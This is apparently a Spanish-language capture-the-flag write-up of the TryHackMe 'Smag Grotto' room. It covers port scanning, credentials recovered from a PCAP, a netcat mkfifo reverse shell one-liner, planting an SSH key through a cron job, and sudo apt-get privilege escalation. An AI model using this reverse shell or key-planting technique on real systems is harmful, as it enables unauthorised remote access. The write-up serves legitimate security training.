This page looks best with JavaScript enabled

TryHackMe - Smag Grotto

 •  ✍️ sckull

Smag Grotto es una maquina de TryHackMe, analizamos un archivo PCAP donde encontramos credenciales para ingresar en la plataforma y ejecutar una shell inversa. Cambiamos al siguiente usuario tomando ventaja de un CronJob. Escalamos privilegios utilizando APT.

Room

Titulo Smag Grotto box_img_maker
Descripción Follow the yellow brick road.
Puntos 160
Dificultad Facil
Maker

jakeyee

NMAP

Escaneo de puertos tcp, nmap nos muestra el puerto smb (445), ldap (139) y el puerto ssh (22) abiertos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# Nmap 7.80 scan initiated Wed Jul 29 17:29:14 2020 as: nmap -sV -o nmap_scan_mini smag.thm
Nmap scan report for smag.thm (10.10.138.62)
Host is up (0.26s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jul 29 17:29:58 2020 -- 1 IP address (1 host up) scanned in 44.14 seconds

HTTP

Encontramos una pagina web en el puerto 80.
image

GOBUSTER

Utilizamos gobuster para busqueda de directorios y archivos.

1
2
3
root@upset:~/thm/smag# gobuster dir -u http://smag.thm/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt -q -t 25 -x php,html,txt
/index.php (Status: 200)
/mail (Status: 301)

WWW-DATA - USER

Encontramos la pagina /mail donde vemos algunos correos, en uno de ellos un archivo pcap.
image

Analizamos el archivo y encontramos credenciales, además de ello un subdominio.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
POST /login.php HTTP/1.1
Host: development.smag.thm
User-Agent: curl/7.47.0
Accept: */*
Content-Length: 39
Content-Type: application/x-www-form-urlencoded

username=help[... REDACTED ...]&password=cH4nG3M3_[... REDACTED ...]HTTP/1.1 200 OK
Date: Wed, 03 Jun 2020 18:04:07 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 0
Content-Type: text/html; charset=UTF-8

Agregamos el subdominio en nuestro archivo /etc/hosts. Visitamos el puerto 80 y encontramos archivos css y php.
image

Utilizamos las credenciales en el panel de login.php donde logramos obtener acceso a una pagina para ingresar comandos.
image

Enviamos un ping hacia nuestra maquina y logramos obtener paquetes desde la maquina (smag.thm).
image

Ejecutamos la siguiente shell inversa con nuestra IP y PUERTO para obtener una shell con el usuario www-data.

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.0 1338 >/tmp/f

image

USER - JAKE

Dentro de la maquina, enumeramos los directorios, en /opt/ encontramos un directorio con un archivo que contiene la clave publica (id_rsa.pub) del usuario jake.
image

Revisamos los crons de la maquina y encontramos que el contenido de este ultimo archivo se agrega al archivo authorized_keys del usuario jake, por lo que podemos agregar nuestra clave publica al archivo /opt/.backups/jake_id_rsa.pub.backup para poder ingresar en el servicio SSH utilizando el usuario Jake.

Authorized_Keys - SSH

image

Agregamos nuestra clave publica y esperamos hasta que se agregue en el archivo de Jake.
image

Ingresamos con el usuario Jake en SSH sin ninguna contraseña, y logramos obtener una shell y nuestra flag user.txt.
image

PRIVILEGE ESCALATION

Hacemos una pequeña enumeracion con sudo -l -l y vemos que tenemos permisos root (sudo) para ejecutar el comando apt-get. Utilizamos apt-get para obtener una shell root y nuestra flag root.txt.

image

Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe